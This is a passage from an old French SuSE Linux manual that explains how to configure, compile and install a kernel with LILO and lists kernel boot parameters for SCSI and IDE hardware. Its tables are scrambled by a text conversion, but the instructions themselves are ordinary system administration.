fonctionnalités du sys- tème que le noyau doit supporter. Vous pouvez normalement répondre à ces 362 _______________________________________________________________13.4.__Paramètres_de_configuration_du_noyau__________________* *______________________ questions de deux ou trois manières différentes : _soit simplement | __|yet_| __|n soit en__choisissant l'une des trois possibilités |_y| (angl. yes), |_n| (angl. no) et m ||||||_(angl. module). Dans ce cas, `m' signifie que le pilote correspondant n'est pas inclus de façon permanente dans le noyau mais qu'il est compilé sous forme de module chargé en cours d'exécution du noyau. Il va de soi que tous les pilotes absolument indispensables à l'amorçage du système doivent être inclus_en permanence dans le noyau. Dans de tels cas, vous devez donc choisir |y_ |. Si vous répondez à une question en pressant une autre touche, vous verrez l'affichage d'un bref message d'aide concernant l'option en question. Configuration en mode texte Une méthode plus plaisante de configuration consiste à utiliser la commande Recommandé ! terre:/usr/src/linux # make menuconfig Cela vous évite tout particulièrement d'avoir à vous ``frayer un chemin'' au travers d'une multitude de questions pour apporter de légères modifications à votre configuration. Configuration sous le système X Window Si vous avec installé le système X Window (paquetage xf86) ainsi que Tcl/Tk (paquetage tcl et paquetage tk), vous avez l'alternative d'effectuer votre configuration en tapant terre:/usr/src/linux # make xconfig Vous avez alors une interface graphique qui rend la configuration plus confor- table. Pour cela, vous devez toutefois démarrer le système X Window sous le compte `root' car il vous faudrait autrement prendre des mesures supplé- mentaires pour avoir accès à l'affichage d'un autre utilisateur éventuel. 13.4 Paramètres de configuration du noyau Il n'est pas possible de décrire ici en détail les différentes possibilités de Textes d'aide configuration du noyau. Il vous est donc conseillé de tirer parti des nombreux textes d'aide relatifs à ce sujet. La documentation la plus récente se trouve toujours sous les sources du noyau dans le répertoire /usr/src/linux/ Documentation. 13.5 Compilation du noyau _______________________________________________________________________________________________________________________|| |||||||| Supprimez le cas échéant, dans le Makefile principal (vers la ligne 74), ||| | |||||||| le caractère de commentaire placé devant INSTALL_PATH=/boot afin que || | |||||||| || | |||||||| votre noyau puisse être installé simplement dans /boot. || | ||||||||_______________________________________________________________________________________________________________||_ Nous vous conseillons de générer un ``bzImage''. On peut généralement éviter de cette manière que le noyau devienne trop gros ainsi qu'il arrive facilement lorsque l'on sélectionne un trop grand nombre de fonctionnalités et que l'on * * 363 13. Le noyau _________________________________________________________________________________________________________________* *_______________________________________@ crée un ``zImage'' (on voit alors apparaître les messages typiques "kernel too bigö u "System is too big"). Après avoir configuré le noyau en fonction de vos besoins, vous commencerez la compilation : terre:/usr/src/linux # make dep terre:/usr/src/linux # make clean terre:/usr/src/linux # make bzImage Vous pouvez aussi insérer ces 3 commandes dans une ligne de commande. Elles seront exécutées l'une après l'autre. Ceci comporte certains avantages si vous voulez faire effectuer la compilation du noyau automatiquement, par exemple ``de nuit'' : Pour cela, tapez : terre:/usr/src/linux # make dep clean bzImage Selon la performance de votre système, il faut compter de quelques minutes (processeurs rapides AMD Athlon / Intel Pentium III )1 à quelques heures (386 avec 8 Mo) avant que le noyau soit recompilé. Pendant ce processus, vous pouvez bien sûr continuer à vous occuper de votre système sur une autre console. Lorsque la compilation aura été menée à bien, vous trouverez votre noyau compressé dans le répertoire /usr/src/linux/arch/i386 /boot. L'image du noyau ~ le fichier qui contient le noyau ~ se nomme bzImage. Si vous ne trouvez pas ce fichier, cela signifie qu'il s'est probablement produit une erreur pendant la compilation du noyau. Elle a pu éventuellement passer in- aperçue parmi les nombreux messages affichés à l'écran. Pour vérifier s'il s'est vraiment produit une erreur, vous pourrez avec terre:/usr/src/linux # make bzImage remettre en route la compilation du noyau et prêter attention aux messages d'erreur. Pas de panique : Il se produit très rarement des erreurs lors de la compilation du noyau ! Sous bash, vous pouvez avec terre:/usr/src/linux # make bzImage 2>&1 | tee kernel.out faire effectuer une copie des affichages du processus de compilation dans le fichier k.out ; sous Tcsh, la commande est : terre:/usr/src/linux # make bzImage |& tee kernel.out Si vous avez configuré certaines parties du noyau sous forme de modules chargeables, vous devrez ensuite faire compiler ces modules. Pour cela, tapez la commande terre:/usr/src/linux # make modules 13.6 Installer le noyau Lorsque le noyau a été compilé, vous devrez faire en sorte qu'il soit en- suite amorcé. Si vous utilisez LILO , celui-ci devra être réinstallé. Dans le _____________________________________________1 Une méthode volontiers employée pour tester le matériel et les logiciels consiste à compiler le noyau avec l'option make -j . Vous avez besoin d'une grande quantité de mémoire pour ce test (jusqu'à 100 Mo). Un compilateur particulier est démarré pour chacun des fichiers sources à compiler. 364 _______________________________________________________________________________________________13.6.__Installer_le_noyau____* *______________________ cas le plus simple, vous copierez le nouveau noyau vers /boot/vmlinuz (voir paragraphe 13.5 page 363) et vous invoquerez ensuite LILO . Afin d'évi- ter de désagréables surprises, il est prudent de conserver le vieux noyau (/boot/vmlinuz.old) pour pouvoir l'amorcer au cas où le nouveau noyau ne fonctionnerait pas comme prévu : terre:/usr/src/linux # cp /boot/vmlinuz /boot/vmlinuz.old terre:/usr/src/linux # cp arch/i386/boot/bzImage /boot/vmlinuz terre:/usr/src/linux # lilo La cible du Makefile make bzlilo exécute ces 3 phases en une seule opéra- tion. Les modules compilés doivent encore être installés. En entrant terre:/usr/src/linux # make modules_install vous pouvez les faires copier dans les répertoires cibles appropriés (/lib/ modules/ ), _______________________________________________________________________________________________________________________|| |||||||| Vous devez veiller à ce que les modules que vous compilez soient sup- ||| | |||||||| || | |||||||| primés sous /lib/modules car il risque de se produire des || | |||||||| effets imprévisibles. C'est pourquoi, il est fortement déconseillé à l'utili- || | |||||||| || | |||||||| sateur possédant encore peu d'expérience de compiler lui-même le noyau. || | ||||||||_______________________________________________________________________________________________________________||_ Ajoutez dans votre fichier /etc/lilo.conf un label Linux.old comme image de boot (voir paragraphe 4.4.1 page 124) et changez le nom de votre vieux noyau en /boot/vmlinuz.old. Vous êtes ainsi assuré de pouvoir en- core amorcer avec votre ancien noyau au cas où ce ne serait pas possible avec le nouveau. Ceci est décrit en détail au chapitre 4 page 117. Lorsque vous aurez apporté au fichier /etc/lilo.conf les modifications que vous souhaitiez, vouz devrez lancer de nouveau la commande terre:/usr/src/linux # lilo Si vous lancez Linux à partir de DOS par linux.bat ~ donc au moyen de loadlin ~ vous devez encore copier le nouveau noyau vers /dosc/ loadlin/bzimage2 afin qu'il puisse être actif lors du prochain amorçage. Si vous lancez Linux au moyen du gestionnaire de démarrage de Win- dows NT, vous ne devez pas oublier de recopier le secteur d'amorçage de LILO (voir paragraphe 4.7.2 page 135). Il faut également tenir compte de ce qui suit : Le fichier /boot/System.map contient des symboles du noyau nécessités par les modules pour pouvoir invoquer correctement les fonctions du noyau. Ce fichier dépend du noyau actuel. En conséquence, vous devriez après la compilation et l'installation du noyau, copier le fichier courant3 /usr/src/linux/System.map dans le répertoire /boot. Si vous générez vos noyaux au moyen de make bzlilo ou de make zlilo , cette tâche sera exécutée pour vous automatiquement. Si lors de l'amorçage vous recevez un message d'erreur tel que "System.map does not match actual kernel", cela signifie probablement que le fi- chier System.map n'a pas été copié vers /boot après la compilation du noyau. 2 ____________________________________________________ ou vers l'endroit où vous avez fait installer le répertoire loadlin 3 Ce fichier est recréé à chaque compilation du noyau. * * 365 13. Le noyau _________________________________________________________________________________________________________________* *_______________________________________@ 13.7 Créer une disquette d'amorçage Si vous voulez créer une disquette d'amorçage avec votre nouveau noyau, il vous suffit de taper la commande : terre:/usr/src/linux # make bzdisk 13.8 Faire le ménage sur le disque dur après la compilation du noyau Vous pouvez effacer les fichiers cibles générés pendant la compilation du noyau si vous avez des problèmes avec l'espace disque : terre: # cd /usr/src/linux terre:/usr/src/linux # make clean Mais si vous avez suffisamment de place sur le disque et si vous avez l'inten- tion de reconfigurer assez souvent votre noyau, sautez cette dernière phase. Une nouvelle compilation du noyau sera nettement plus rapide puisque seules les parties du système concernées par les modifications seront recompilées. 366 Chapitre 14 Paramètres du noyau 14.1 Pilotes insérés dans le noyau Il existe un très grand nombre de composants matériels de PC. Pour pouvoir bien utiliser ce matériel, il est nécessaire d'avoir un ``pilote'' qui permette au système d'exploitation (dans le cas de Linux le ``noyau'') de communiquer correctement avec le matériel. On distingue en règle générale deux méca- nismes d'intégration des pilotes dans le noyau. 1. Les pilotes peuvent être inclus en permanence dans le noyau. Nous dési- gnons, dans le présent manuel, de tels noyaux ``d'une seule pièce'' sous le nom de noyaux ``monolithiques''. Certains pilotes n'existent que sous cette forme. 2. Les pilotes peuvent être chargés en cas de besoin dans le noyau qui est dé- signé dans ce cas sous le nom de noyau modulaire. Ceci présente l'avan- tage que seuls les pilotes vraiment nécessaires sont chargés et que le noyau n'est pas inutilement encombré. Le noyau contenu sur la disquette d'amorçage SuSE fonctionne avec des modules et peut ainsi manipuler la plupart des configurations matérielles. Que les pilotes soient inclus en permanence dans le noyau ou qu'ils soient chargés, il peut arriver que le noyau ne soit pas en mesure, dans un cas comme dans l'autre, de reconnaître par lui-même l'un des composants matériels. Vous avez alors la possibilité de lui ``donner un coup de pouce'' en spécifiant plus exactement ce composant matériel au moyen de paramètres. ~ Ils font savoir au pilote quel matériel vous possédez et de quelle ma- nière vous devez y accéder (par exemple zone d'adressage, interruption et autres choses similaires). Le pilote peut parfois le découvrir seul, mais il est plus rapide et plus sûr que vous preniez vous-même les choses en main. ~ Dans les cas problématiques il vous est éventuellement possible, avec des paramètres du noyau spéciaux, d'amener quand même votre système Linux à se mettre en marche. Dans le cas de noyaux monolithiques, les paramètres doivent être transmis au noyau à l'invite d'amorçage ou par un chargeur d'amorçage1 . Les pilotes 1 ____________________________________________________ Pour cette raison, ces paramètres sont aussi appelés paramètres LILO , du nom du chargeur traditionnel pour architectures x86. * * 367 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ sous forme de modules reçoivent leurs paramètres par la commande insmod ou modprobe qui permet de charger aussi le module en même temps. Remarque : Vous devez spécifier les paramètres lors de chaque amorçage car le noyau n'apprend malheureusement rien. Plus tard, après l'installation, vous pourrez inscrire des paramètres du noyau dans les fichiers /etc/lilo.conf ou /etc/modules.conf et ils seront ainsi exploités automatiquement par LILO ou par modprobe . Malheureusement, le format utilisé pour spécifier les paramètres est différent selon qu'il s'agisse de pilotes inclus dans le noyau ou de pilotes chargés sous forme de modules. C'est pourquoi les paramètres dont vous trouverez la liste plus bas sont soigneusement séparés. Pour quelques modules peu nombreux (lecteurs de CD-ROM), le mode de transmission des paramètres a cependant été unifié et il est ainsi possible de spécifier, lors du chargement d'un module, les mêmes paramètres qu'à l'invite de LILO . 14.2 Quelques astuces Avant d'en arriver aux listes des paramètres, encore quelques astuces concer- nant la reconnaissance du matériel par les pilotes ainsi que la spécification des paramètres : ~ La plupart des pilotes peuvent exécuter ce que l'on appelle une détec- tion automatique (angl. autoprobing). Cela signifie que le pilote essaie différentes adresses sous lesquelles se trouve habituellement le compo- sant concerné. Il peut toutefois arriver que le pilote détecte un composant qu'il n'a pas à gérer et qu'il l'initialise par erreur. Ceci peut entraîner un plantage de la machine. ~ Il arrive aussi occasionnellement qu'il soit possible de charger avec succès un module bien que le matériel qu'il gère normalement ne soit pas pré- sent dans la machine (ceci s'applique surtout aux pilotes de cartes réseau 3Com). Vous devriez malgré tout, afin de simplifier les choses, faire d'abord exé- cuter une détection automatique. Il vous sera toujours possible de déchar- ger les pilotes chargés par erreur. Dans le cas où le matériel ne serait pas reconnu, vous pouvez essayer, par une spécification des paramètres, de faire connaître la configuration au noyau afin qu'il soit quand même en mesure d'accéder correctement aux composants. ~ Il existe enfin certains composants matériels pouvant être gérés par plusieurs pilotes (NCR 53C810 , Ultrastor ). Selon les informations que nous possédons, il semble qu'aucun des deux pilotes Ultrastor ne pré- sente un avantage particulier par rapport à l'autre. Le pilote BSD pour le NCR53C810 supporte aussi les autres produits NCR53C8xx (par exemple 53C875) alors que seul le pilote NCR ancien modèle supporte les graveurs de CD. Faites tout simplement un essai pour savoir quel pilote reconnaît votre matériel de façon fiable. Si vous venez d'amorcer, le clavier américain est encore actif. Comparez avec l'illustration de la figure 14.1 page suivante. 368 __________________________________________________________________________________________________14.3.__Les_paramètres_____* *______________________ _______________________________________________________________________________________________________________________|||| |||||||| | ||||||||| || |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fig. 14.1: Disposition des touches d'un clavier américain 14.3 Les paramètres 14.3.1 Notation et signification Dans les listes de paramètres du noyau qui vont suivre, vous trouverez les différents périphériques ou leurs pilotes ainsi que les paramètres d'appel qu'il est possible ou indispensable d'utiliser. Les paramètres apparaissent toujours avec la même signification : ______________________________________________________________________________________________________________________ Spécification du port en hexadécimal (par exemple 0x300) Interruption sous laquelle il est accédé au périphérique (par exemple 7) Canal DMA par lequel le périphérique communique (par exemple 1) , zone de mémoire hexadicimale pour mé- moire partagée ______________________________________________________________________________________________________________________ Tab. 14.1: Dénomination de variables fréquemment utilisées pour les paramètres du noyau Dans ce qui suit, il sera surtout fait une description des paramètres essentiels à la réussite de l'installation. Il existe également toute une série d'autres pa- ramètres utilisés à des fins particulières. Notez aussi que pour la spécification des paramètres il est impératif de différencier les majuscules des minuscules ! Après l'installation, vous trouverez dans le BootPrompt-HOWTO, sous /usr/ doc/howto ainsi que dans les sources du noyau, dans le fichier /usr/src/ linux/Documentation/kernel-parameters.txt, une introduction dé- taillée aux paramètres du noyau qu'il est possible d'utiliser. * * 369 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ 14.3.2 Paramètres transmis au noyau à l'invite d'amorçage Les paramètres énumérés dans ce paragraphe ne peuvent être transmis au noyau que directement, par exemple à l'invite d'amorçage de SYSLINUX (disquette d'amorçage fournie), à l'invite de LILO ou au moyen de loadlin . Si le pilote concerné doit être utilisé sous forme de module chargeable, voyez au paragraphe 14.3.4 page 383 les paramètres à utiliser dans ce cas. ________________________________________________________________________________________________________* *________|| | Tous les paramètres nécessaires à un pilote doivent être spécifiés direc- * * |||| | tement les uns derrière les autres, séparés par des virgules ! Il ne doit en * * ||| | * * ||| | aucun cas y avoir d'espace entre les paramètres spécifiés ! * * ||| |_______________________________________________________________________________________________________* *________|||_ Pour définir par exemple les paramètres pour le pilote aha1542 à l'invite d'amorçage, faites l'entrée suivante en tenant compte du fait que le nom du fichier du noyau doit toujours être spécifié en premier lieu (sur la disquette d'amorçage SuSE , le nom du noyau est linux !) : linux aha1542=0x300 Paramètres généraux d'amorçage Paramètres Il est possible, avec quelques paramètres, d'influer sur le comporte- généraux ment général du noyau Linux (voir la page de man de bootparam (man 7 bootparam )). ~ Mode de redémarrage (reboot) (en quittant Linux) reboot= dans ce cas, on utilise pour les valeurs suivantes : ___________________________________________________________________________________________________ |__Variable____|____Valeurs_/_Signification_______________________________________________|_______* *__ | |warm Redémarrage à chaud (sans test mémoire) | | |cold Redémarrage à froid (avec test mémoire) | | |bios Redémarrage avec routine du BIOS | |__________________|hard_____Redémarrage_par_blocage_du_CPU_(triple_fault)__|______________________ Exemple : reboot=cold démarre la machine après l'arrêt de Linux, de la même manière que si la touche de remise à zéro avait été pressée. ~ Protection de zones d'E/S (réserver) reserve=,,...,, À l'aide de ce paramètre, vous pouvez réserver des zones d'E/S pour des composants matériels qui ne tolèrent pas une détection automatique de leur adresse d'E/S et réagissent par exemple en provoquant un effondre- ment du système. Exemple : en entrant reserve=0x330,32 ether=5,0x330,eth0 il est possible de protéger contre la détection automatique une carte réseau sensible qui peut cependant être initialisée. Dans notre exemple, la carte 370 __________________________________________________________________________________________________14.3.__Les_paramètres_____* *______________________ réseau a une zone de 32 adresses commençant par l'adresse 0x330, et l'interruption 5. Pour connaître la signification des paramètres des cartes réseau, reportez- vous au paragraphe 14.3.2 page 378. ~ Montage de la partition racine (root) root= ________________________________________________________________________________________ ||__Variable_____________|___Valeurs_/_Signification_________________________|___________ ||________________|par_exemple_/dev/hda1,_/dev/sdb5__|_______________________ Exemple : root=/dev/hda5 amorce le noyau et tente de monter la partition root de la première unité logique dans la partition étendue sur le premier disque dur (E)IDE. ~ Taille de la mémoire centrale (RAM) mem= Vous pouvez spécifier la taille de la + mémoire en octets, kilo-octets ou méga-octets. Les exemples ci-dessous vous montrent deux notations différentes pour 96 Mo de RAM Exemples : mem=96M mem=98304k Dans de très rares cas, il peut arriver que la carte mère ou le chipset ne puisse pas libérer la totalité de la mémoire. Tenez alors compte de la mé- moire utilisée par la carte mère ou le chipset (une quantité pouvant at- teindre 512 Ko est tout à fait possible). Vous pouvez, en procédant par tatônnement, réussir à découvrir le chiffre exact. Mais pour plus de faci- lité, partez plutôt du principe qu'il s'agit de 512 Ko comme dans notre exemple : mem=5ff8000 Si vous utilisez un clone de Pentium, vous pouvez par l'entrée mem=nopentium inciter une machine qui refuse de démarrer à se mettre au travail. Contrôleurs SCSI et sous-système SCSI Il est possible d'influencer la plupart des contrôleurs SCSI en utilisant des Contrôleurs paramètres. SCSI ~ Lecteurs de bandes SCSI (streamers) st=,[,] ____________________________________________________________________________________________ ||__Variable_______|___Valeurs_/_Signification__________________________________|____________ || T|aille du tampon (nombre de blocs de 1 Ko) | || S|euil d'écriture (nombre de blocs de 1 Ko) | ||_____________________(|angl._write_threshold)__________________________________|__________ Exemple : st=1000,2000 * * 371 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ ~ Nombre de périphériques SCSI par ID max_scsi_luns= ___________________________________________________________ |__Variable_______|_____Valeurs_/_Signification__|__________ |______________|1..8______________________________|_ Exemple : Lorsque seul le premier LUN (angl. logical unit number) doit est utilisé, le paramètre max_scsi_luns=1 doit être positionné. Les changeurs de CD constituent une application typique. Dans ce cas, le nombre de CD utilisables correspond au paramètre max_scsi_luns ~ Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 adaptateur hôte SCSI aha152x=,,[,[,[,[, []]]]] __________________________________________________________________________________________________* *__________________ |__Variable______________________________________________|____Valeurs_/_Signification_____________* *________|__________ | (SCSI-ID de l'adaptateur hôte) | ID de l'adaptateur hôte, souvent 7 * * | | (reconnect) | 0 , 1 * * | | (parity) | 0 , 1 Contrôle de parité * * | | (synchronous) | 0 , 1 Transmission synchrone * * | | |100 Délai du bus, valeur par défa* *ut | |_________________________________________________|0_,_1__Translation_C/H/S____________* *_________|________ Avec ce pilote, il est possible d'utiliser de nombreux contrôleurs SCSI peu coûteux. Par exemple, toutes les cartes son dotées d'un contrôleur SCSI (à l'exception de Pro Audio Spectrum ) contiennent une puce Adaptec et peuvent être utilisées avec ce pilote. Pour faire fonctionner tous les 152x non originaux, il semble que le 4ème paramètre (RECONNECT ) soit indispensable. Pour presque tous les types, il doit être positionné à `0' sauf pour le AHA2825 qui requiert un `1'. Exemple : aha152x=0x300,10,7 ~ Adaptec AHA-1540 / 1542 adaptateur hôte SCSI aha1542=[,,[,]] ____________________________________________________________________ |__Variable_________________|____Valeurs_/_Signification__|__________ | |2..15 | | |1..64 | |_________________|5,6,7,8,10_________________________| Exemple : aha1542=0x300 ~ Adaptec AHA-274x / 284x / 294x adaptateur hôte aic7xxx=[,[, : : : ]] 372 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ ________________________________________________________________________________________________________ ||__Variable___________|___Valeurs_/_Signification___________________________________________|___________ || |extended | || |active la translation de la géomtérie du disque | || |no_reset | || |empêche une réinitialisation (angl. reset) du bus | || |SCSI lors de l'initialisation de l'adaptateur hôte | || |irq_trigger : | || |seulement pour systèmes Eisa | || |x = 0 pour interruption sur front (edge triggered) | || |x = 1 pour interruption sur niveau (level-sensitive) | || |verbose | || |pour l'augmentation du nombre des messages | || |reverse_scan | || |lorsque plusieurs cartes du BIOS ne sont | || |pas traitées correctement | || |7895_irq_hack : | || |x = -1 pour cartes mères Tyan II | || |pci_parity : | || |par défaut : parité paire, | || |x = 0 pas de contrôle de parité, | || |x = 1 parité impaire | || |tag_info :``` | || |Gestion de la file d'attente pour l'accroissement | || |de la performance, | ||_________________________|pour_experts_(voir_les_sources_du_noyau)_________________|__________________ Exemple : aic7xxx=no_reset , si la machine plante à la réinitialisation du bus SCSI. Pour les adaptateurs hôtes SCSI basés sur aic7xxx , les paramètres ne sont nécessaires que dans le cas où la fonction s'avère défectueuse ou insatisfaisante. Le AHA-2940 AU ne fonctionne de façon fiable qu'à partir de la version 1.3 du BIOS. Il est possible d'obtenir des mises à jour en s'adressant au support technique Adaptec. L'adaptateur hôte SCSI Adaptec 2920 n'est pas géré par ce pilote mais par le pilote Future Domain (paragraphe 14.3.2 page suivante) ! ~ AdvanSys adaptateur hôte SCSI advansys=,,...,, Exemple : advansys=0x110,0x210 Cet exemple fait savoir au noyau qu'il doit rechercher l'adaptateur hôte AdvanSys aux adresses spécifiées. ~ AM53/79C974 adaptateur hôte SCSI AM53C974=,,, * * 373 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ ___________________________________________________________________________________________ |__Variable___________|_____Valeurs_/_Signification______________________________|__________ | | ID SCSI de l'adaptateur hôte, souvent 7 | | | ID SCSI du périphérique 0..7 | | | 3,5,10 MHz/s taux maximal de transfert | |_________________|_Mode_de_transfert_;_0__=_asynchrone____________|_______________ Lorsque l'adaptateur hôte semble ``avaler de travers'', on réduit le taux maximal de transfert pour le périphérique (par exemple le premier lecteur de CD-ROM SCSI /dev/scd0 avec ID 5) sur le bus SCSI : Exemple : AM53C974=7,5,3,0 Pour chaque périphérique, on peut ajouter des taux et des modes de trans- fert et il est alors possible que AM53C974=x,x,x,x apparaisse jusqu'à sept fois pour un adaptateur hôte. ~ BusLogic ~ adaptateur hôte SCSI BusLogic= BusLogic= Exemple : BusLogic=0x300 __________________________________________________________________________________________________* *____________________ |__Variable_________|_____Valeurs_/_Signification_________________________________________________* *___________|_________ | | Adresse de l'adaptateur, par exemple 0x300 * * | | | NoProbe Il n'est pas recherché d'adaptateur * * | | | NoProbeISA Il n'est pas recherché d'adaptateur ISA * * | | | NoProbePCI Il n'est pas recherché d'adaptateur PCI * * | | | NoSortPCI L'ordre des adaptateurs multimaîtres * * | | | est déterminé par le BIOS du PCI * * | | | MultiMasterFirst Multimaster avant Flashpoint * * | | | FlashPointFirst Flashpoint avant Multimaster * * | | | InhibitTargetInquiry Pour vieux périphériques qui * * | | | ont des problèmes avec scsi_luns > 0. * * | | | TraceProbe affiche des messages supplémentaires * * | | | lors de l'initialisation de l'adaptateur * * | | | TraceHardwareReset affiche des messages supplémentaires * * | | | lors de la réinitialisation matérielle de l'adaptateur * * | | | TraceConfiguration affiche des messages supplémentaires * * | | | lors de la configuration de l'adaptateur * * | | | TraceErrors affiche les messages d'erreur des * * | | | périphériques connectés * * | |_______________________|_Debug_____affiche_tout__________________________________________________* *________________|___ Cet adaptateur hôte peut encore être configuré au moyen de plusieurs autres paramètres. Ceci a pour but d'affiner la configuration et se trouve décrit dans /usr/src/linux/drivers/scsi/README.BusLogic. ~ Future Domain, adaptateur hôte SCSI TMC-16x0 fdomain=,[,] ________________________________________________________________________ |__Variable__|_____Valeurs_/_Signification_____________________|_________ |_____________|ID_SCSI_de_l'adaptateur_hôte_0..7______|_____________ 374 __________________________________________________________________________________________________14.3.__Les_paramètres_____* *______________________ Ce pilote gère aussi l'adaptateur hôte SCSI Adaptec 2920 . Exemple : fdomain=0x140,11,7 ~ Future Domain, adaptateur hôte TMC-885/950 tmc8xx=, Exemple : tmc8xx=0xca000,5 ~ NCR 5380, famille d'adaptateurs hôtes SCSI ncr5380=,, Exemple : ncr5380=0x340,10,3 ~ NCR 53c400, famille d'adaptateurs hôtes SCSI ncr53c400=, Exemple : ncr53c400=0x350,5 Ce pilote gère par exemple l'adaptateur hôte très répandu Trantor T130B ~ NCR 53c406a, famille d'adaptateurs hôtes SCSI ncr53c406a=[,[,]] ______________________________________________________________________________________________________ ||__Variable_________|___Valeurs_/_Signification__________________________________________|____________ ||______________|0,_s'il_n'est_pas_souhaité_un_mode_PIO_plus_rapide__|_______________________ Exemple : ncr53c406a=0x330,10,0 ~ Seagate ST01/02, adaptateur hôte SCSI st0x=, Exemple : st0x=0xc8000,5 ~ Trantor T128/128F/228, adaptateur hôte SCSI t128=, Exemple : t128=0x340,10 Contrôleurs (E)IDE et périphériques ATAPI De nombreux paramètres peuvent être utilisés pour la configuration du Contrôleurs contrôleur (E)IDE et des périphériques qui y sont connectés. (E)IDE Périphériques ~ CD-ROM ATAPI relié au contrôleur (E)IDE ATAPI hd=cdrom hd=serialize ________________________________________________________________________ ||__Variable__|___Valeurs_/_Signification___________________|____________ || a|, b , c , d , avec dans ce cas : | || a| maître au 1er contrôleur IDE | || b| esclave au 1er contrôleur IDE | || c| maître au 2ème contrôleur IDE | ||________________d|_esclave_au_2ème_contrôleur_IDE__|__________________ * * 375 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ Exemple : On fera connaître un lecteur de CD-ROM ATAPI connecté en mode maître au 2ème contrôleur IDE par hdc=cdrom . ~ Disque dur hd=,,[,<écriture>[,]] __________________________________________________________________________________________________* *__________ |__Variable_____________|_____Valeurs_/_Signification_____________________________________________* *_|_________ | | a , b , : : :, h 1er au 8ème disque dur. | | | Nombre de cylindres | | | Nombre de têtes * * | | | Nombre de secteurs | | <écriture> | Cylindre à partir duquel la compensation en écriture | | | est appliquée * * | |______________________|_Interrupt___________________________________________________________* *______|___ Si le BIOS est déjà vieux, il peut arriver que la géométrie exacte du disque ne soit pas reconnue. Les paramètres corrects seront alors transmis d'une manière qui permette quand même au noyau d'accéder à la totalité du disque. Exemple : hdc=1050,32,64 hd= __________________________________________________________________________________________________* *________________ |__Variable_________|_____Valeurs_/_Signification_________________________________________________* *_______|_________ | | a , b , : : :, h 1er au 8ème disque dur * * | | | noprobe , lorsqu'il s'avère problématique de tester | | | un disque dur existant * * | | | none Ignorer l'entrée CMOS et ne pas faire de test | | | nowerr Ignorer le bit WREE`STAT | | | cdrom reconnu par erreur comme disque dur ou | | | pas du tout reconnu, ou échec de l'amorçage | | | autotune utilisation du mode PIO le plus rapide | | | slow chaque accès est suivi d'une longue pause, | | | provoque un net ralentissement, résoud parfois le problème | |_______________________|_et_constitue_la_dernière_possibilité____________________________________* *____|___________ Lorsqu'un lecteur de CD-ROM n'est pas reconnu de façon fiable, la spé- cification de peut résoudre ce problème. Exemple : hdd=cdrom ~ Chipsets pour contrôleurs EIDE ide0= Une série de contrôleurs EIDE possède des chipsets défectueux ou pose des problèmes lorsque le deuxième contrôleur doit être utilisé. Pour un grand nombre de ces chipsets, il existe donc maintenant dans le noyau un support spécial qui doit toutefois encore être activé par un paramètre du noyau. Les chipsets suivants peuvent être configurés : 376 __________________________________________________________________________________________________14.3.__Les_paramètres___________* *________________ _____________________________________________________________________________________________________________ CMD 640 Ce chipset se trouve sur de très nombreuses cartes mères. Mais comme il est très dé- fectueux, le noyau offre un support spécial qui le reconnaît et contourne ainsi le pro- blème. En outre, l'utilisation du deuxième contrôleur n'est possible, dans certains cas, qu'au moyen du code spécial. Dans les sys- tèmes PCI, la puce est reconnue automatique- ment ; dans les systèmes VLB, il est néces- saire d'utiliser le paramètre du noyau suivant : ide0=cmd640_vlb . RZ 1000 Cette puce, utilisée sur beaucoup de cartes mères avec le chipset Neptun est défectueuse. Si le support est activé, le système fonction- nera plus lentement mais sans incohérence. Une activation plus poussée à l'aide d'un pa- ramètre du noyau n'est pas nécessaire. DTC-2278 C'est seulement en activant ce pilote par le pa- ramètre ide0=dtc2278 que l'on peut utiliser le deuxième contrôleur. Holtek HT6560B Pour activer le deuxième contrôleur, le para- mètre suivant est nécessaire : ide0=ht6560b . QDI QD6580 En activant ce pilote, vous obtiendrez de plus grandes vitesses : ide0=qd6580 . UMC 8672 Pour activer le deuxième contrôleur, le para- mètre suivant est nécessaire : ide0=umc8672 . ALI M1439/M1445 Pour activer le deuxième contrôleur, le para- mètre suivant est nécessaire : ide0=ali14xx . PROMISE DC4030 Pour activer le deuxième contrôleur, le para- mètre suivant est nécessaire : ide0=dc4030 . Les lecteurs de CD-ROM et lecteurs de bandes reliés au deuxième contrôleur ne sont pas en- core supportés ! _____________________________________________________________________________________________________________ Tab. 14.2: Chipsets particuliers Si le chipset, bien que ne faisant pas partie de ceux marqués comme défectueux, n'est quand même pas reconnu, il est possible de résoudre le problème en transmettant les paramètres suivants : ide=[,[,]] 377 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________ |__Variable_________|_____Valeurs_/_Signification_____________________________|__________ | | Numéro de l'adaptateur, | | | souvent 0 ou 1 , mais aussi 3 ou 4 | | | Adresse de base de l'adaptateur, | | | souvent 0x1f0 , 0x170 , 0x1e8 ou 0x168 | | | Registre de contrôle de l'adaptateur, | | | souvent 0x3f6 , 0x376 , 0x3ee ou 0x36e | | | Interruption de l'adaptateur, | |_______________________|_souvent_14__,_15__,_11___ou_10___________________________|____ Si vous rencontrez des difficultés bien que le chipset ne fasse pas partie de ceux marqués comme défectueux, vous pouvez y remédier en transmet- tant les paramètres suivants : ide= __________________________________________________________________________________________________* *______________ |__Variable_______|_____Valeurs_/_Signification___________________________________________________* *_____|_________ | |Numéro de l'adaptateur, souvent 0 ou 1 , mais aussi 3 ou 4 . | | |autotune : tentative avec la valeur de PIO la plus | | |élevée ; n'est pas supportée par tous les chipsets | | |noautotune : pas d'amélioration de la vitesse | | |serialize : pas de chevauchement temporaire des | |______________________|opérations_avec_le_prochain_adaptateur_hôte_________________________|_____* *______________ Si le chipset ne fait pas partie de ceux marqués comme défectueux et si vous voulez obtenir une vitesse maximale, il est possible de faire connaître la vitesse du bus. Consultez la documentation qui accompagne votre carte mère. idebus= Autres possibilités Carte réseau Lecteur de ~ Ethernet, carte réseau disquettes ether=,[,[,...]], Les divers paramètres de à ont pour les différents pilotes une signification différente. La plupart du temps, il suffit (mais ce n'est même pas toujours nécessaire) de spécifier deux paramètres qui sont l'adresse de début et l'adresse de 